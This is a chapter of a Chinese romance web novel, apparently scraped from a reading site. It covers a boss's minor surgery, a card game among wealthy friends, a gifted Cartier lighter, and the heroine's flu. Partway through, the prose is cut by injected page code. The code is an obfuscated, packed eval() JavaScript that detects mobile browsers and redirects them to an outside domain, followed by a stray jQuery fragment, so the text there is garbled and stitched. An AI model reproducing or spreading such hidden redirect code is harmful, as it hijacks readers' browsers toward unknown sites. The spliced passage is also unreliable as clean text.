52. 在灯火阑珊处 03

作品:《等她陷落[先婚后爱]

    【剪影的你轮廓太好看,凝住眼泪才敢细看,忘掉天地,仿佛也想不起自己】


    有时候越想走远一点的关系越不能马虎。


    尽管在心里告诫过自己务必小心翼翼,可是钟晴还是忍不住叫他:乔致知。


    这世上从没有绝对的平等,但钟晴总固执地觉得叫他的全名能从他那儿汲取些微弱的平等。


    大年初八,休假的人群陆续复工复产,钟晴把乔致知推入医院做了个小手术。


    乔致知的大腿上长了个血管瘤,大小达到了手术指标,医生说为了健康还是切掉好,钟晴头一次客串家属,在好几页长的手术通知书上签上了自己的名字。


    手术禁食期的夜里,消毒水味阵阵刺鼻。


    09年,离微信诞生还有两年,小事发短信,大事依旧靠邮件。


    靠在床头的乔致知敲着笔记本键盘,给钟晴发了封邮件。


    啪一声,乔致知合上了笔记本,眯起眼,发给钟晴的邮件内容是乔致知他手上现有的资产清单、银行卡卡号以及密码。他又额外嘱咐她哪几只股票需要在哪个时间点做空,还很细心地在备注里写上了股票代码。


    钟晴咂舌说他太过浮夸。又腹诽像在交代身后事。


    乔致知闭睛假寐,好半天才赏她一句:“Boss的事,不许置喙,我自有安排。”


    小手术自然没什么问题,三天后,乔致知出院回家休养,钟晴守在身边为伤口换药,伺候饭食。


    元宵节,最不正经的纪长淮把赌局开到了乔致知这。


    乔致知没有拒绝,骨子里他也在抵触养疴时的寂寞。


    只是活动尚且受限,钟情将轮椅推到了棋牌室。


    作为全场唯一的女士,钟晴自然是作为荷官的不二人选。


    纪长淮拒绝,他将香烟往手背上不轻不重地打了两下说:“今天老乔做东道,小助理发牌,老乔算牌,那我们岂不是输的裤子都保不住了?”


    众人哂笑间,坐在轮椅上的乔致知拽住了钟情的手腕:“你坐我身边来。”


    纪长淮要出风头主动做起了荷官。


    三轮发牌后,乔致知面前的筹码少了一半,他在京郊马场养的几匹良驹转到了上家名下,哈尔滨滑雪场的股份割出去百分之五,落笔签名,协议敲定。


    虽是朋友间随便玩几把的闲局,但赌资却是实打实的真金白银。


    筹码一点点地变少,钟晴的心跳一秒秒的加快。


    她没存什么见不得人的小心思,更不想看乔致知吃瘪。


    她想他赢。


    新局又起,乔致知叫了个暂停,让钟晴帮他点根烟。


    火柴在纸醉金迷里浸泡久了,沾了不少轻佻之气,钟晴使劲擦了两下但没擦亮。


    “换一根。”乔致知屈屈食指敲敲桌面。


    “欸。”钟晴重新拿出根长柄火柴划了一下,火柴冒了个响,一撮火光亮了起来,乔致知的双手握稳钟晴的手,叼着烟歪头迎了上去。


    钟晴感到手背被一股热源包裹着,像火光一样,那是寒潮无法侵袭的缝隙。


    烟圈袅袅向上蒸腾。


    乔致知借一根烟的工夫在算牌。


    荷官纪长淮发完牌后,转头戏谑地问钟晴:“钟助理?要不要跟你老板玩几把?试试手气?”


    钟晴不作声,只暗暗在心里记牌。


    明明是很简单的一道计算题,可她硬在心里用上了数不清的公式。


    她分得的筹码不多,更输不起。


    乔致知推起扑克看了看自己手里的底牌,接着问了钟晴一句:“你要不要跟我?”


    不过半秒钟,钟晴脑子里留存的只有刚才火柴亮起的那撮光。


    微弱的,渺小的,但却是有力的,摄人心魄的。


    像十万顷的幽蓝海浪,卷起,推高。


    人生哪里有那么多精于算计?


    最好,你不要算。


    她一鼓作气将自己所有的筹码都推到了乔致知的跟前。


    “我梭|哈!”


    乔致知摊牌时,赌桌上迎来一阵短叹长吁。


    乔致知将牌算的很准,很准。


    钟晴赌得很对,很对。


    最后那局他们更是连荷官纪长淮也没有放过。


    闲人散尽,夜半灯昏。


    钟晴在书房转一只18K的Cartier打火机。


    打火机很有质感,小小又敦实的一块,捧在手心里像是在1945年法币通胀时期捧到了金条。


    打火机是她从纪长淮那里赢来的赌资。


    纪长淮心服口服,掏出来时还说:“这是我前月从瑞士定的,喊秘书千里迢迢地飞过去取的,自己还没用上,倒先孝敬您了。”


    两万和二十万在富家公子手里没有多大区别,他愿赌服输的肯给,你又肯要,他反而觉得自己脸上有面子。


    钟晴摁下打火机开关,幽蓝色火焰蹿了上来,火苗不旺堪堪好够点燃一支烟。


    火灭后,钟晴对着打火机笑了下。


    她愿望乔致知以后点烟时不必刻意歪头迎上去。


    打火机必然是要送给乔致知的。


    毕竟,这是她能送他最昂贵的礼物了。


    沙发的另一端,乔致知坐在那拿着松香块擦琴弓。


    昏沉灯光下,他一擦琴弓,钟晴就觉得耳畔边起伏着丝竹声。


    悠悠荡荡,翩翩跹跹,好一似梦迷离月被云遮。


    钟晴靠近他,单手将火机递了过去:“乔致知,这个送你。”


    乔致知放下松香块,拍了拍手上沾着的松香末说:“你梭|哈来的东西,想留可以自己留着,不必特地送我。”


    “女孩子在宿舍里放打火机容易引起误会。”她固执的把打火机塞到他手心。


    “而且我爸爸他……也不吸烟的。”


    北方的天很少因为开春而升温。


    流感在全城蔓延时钟晴作为积极分子踊跃参与。


    虽然已经开学,但她还是因为身体原因请了病假且留宿在了乔致知这儿。


    乔致知只穿了件深黑色缎面睡袍,靠在钟晴的床头照看病号顺便翻着本外文杂志。


    钟晴浑身发冷,理所应当地朝着唯一的热源靠了过去。


    黑色长发触在黑色缎面睡袍上,让人难分清彼此。


    水银温度计上刻度线飙到了39°,钟晴反而觉得这是一种上天的恩赐。


    一个能让她多靠近点儿乔致知的恩赐。


    她吸吸早已堵塞的鼻子,将头靠在了乔致知肩膀上:“乔致知,我好冷。”


    乔致知看了她一眼,再为她将棉被拉高罩住肩膀。


    外间猝不及防地传来几声“簌簌”声,钟晴仰头往窗户那瞧。


    “廊下的雪落了,气温再回升。”


    带着好奇声说完后她还是将头靠回了乔致知的肩上。


    因为动作起伏,黑发有那么几缕是落在乔致知垂下的手腕上的。


    或许是头发戳到了痒处,乔致知的手腕动了动,顺便将手上的英文杂志往后翻了一页。


    杂志翻页带来一股很细微的风,细微到只有钟晴可以察觉。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056422|155488||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    微风不偏不倚地吹在她的唇珠上,还是一种勾人的痒。


    她几乎无意识地侧着脸往乔致知的肩膀上蹭了蹭,嘴唇贴在他缎面睡袍上。


    她清楚得很,他缎面睡袍下什么也没穿,是结实遒劲的身躯。


    “要不要再喝点水?我去给你倒。”乔致知偏头,开口询问她。


    “要。”钟晴没敢放任自己,用一个“要”字阻碍掉绮靡幻想。


    乔致知因为腿疾走路并不是很灵活,文明棍还在东厢书房里的沙发边靠着,现在的他只能一瘸一拐地拿着杯子向外走。


    钟晴看着他,不知怎么的,突然很想笑。


    脑子里鬼使神差地蹿上来一个成语:相濡以沫。


    乔致知往水杯里掺了蜂蜜,入口是甜的。


    他端起马克杯亲自喂她喝水。


    在照顾女孩子这方面,乔致知到能算是oldmoney的绅士做派。


    妥帖的刚刚好。


    喝完水,摆在床头的诺基亚响了起来。


    班长在和她说这几天开学她落下的课业和班务事项。


    班长追着她讲,讲着讲着话题变成了对钟情个人生活的关心。


    “小晴,感冒要多吃药,要不我明天给你送点药过来?”


    这句是关心。


    “小晴,见习想高分的话那咱俩一个组,肯定不会差,我还管记考勤呢,考勤是要算在分里的。”


    这句听来,带点儿诱惑威胁的味道。


    电话那头的意思很好猜,象牙塔里的事,班长弄小权,还想追她。


    好不容应付完班长,挂掉电话后,钟晴深深地叹了口气。


    乔致知的杂志堪堪翻到尾页:“本就病着,不想听人家电话直接挂就是了,又何必怕得罪人?”


    钟晴抿抿唇:“他是班长,管着所有人的考勤,他堂哥又是我们系教外国文学的讲师,我想拿高绩点的,所以对他得保持基本礼貌。”


    “怕被人家穿小鞋?”


    “嗯。”钟晴不否认。


    “权力没用在正途。”乔致知的年岁比她大,这些象牙塔里的小社会于他而言是何等拙劣幼稚。


    “谨慎些,总归……不会出错。”


    翻完的杂志被乔致知合上,社会人有自己的达尔文法则:“我大姑是你们中文系教授。”


    乔致知拿起放在诺基亚旁边的黑莓手机摆弄了一会儿,钟晴只当他在处理工作。


    几分钟后,乔致知将手机摆回原位,只说:“和我大姑打了个招呼,让她关照关照你。”


    钟晴被这样一句简单的话刺激的心跳加速,本就发烧的面颊又覆上了层酡红:“真的啊?”


    单纯的小姑娘心有戚戚焉:“麻烦乔教授……是不是不大好?”


    小姑娘不太经逗,乔致知轻笑了笑,说:“骗你的。”


    他擦亮Cartier的打火机,为她点燃床头的香薰蜡烛,渺小微弱的火光尚不足以照亮屋子,但却散发出可以安神的香气。


    “我身边的人可以仗势欺人,但不能怂。”


    “你在我身边也待了几个月,怎么被人威胁两句就软成那样?”


    语气像是主人在训诫他豢养的小猫。


    小猫收起爪子往主人身边蹭蹭,乖觉的说了句:“乔致知,我知道了,你不要生气。”


    在异乡的新春里发着烧,但身边却多了一个尚且可以为她撑腰的人。


    钟晴觉得,今夜的自己不是在发烧,那种感觉更像是……


    喝醉了。


    是春风沉醉的晚上。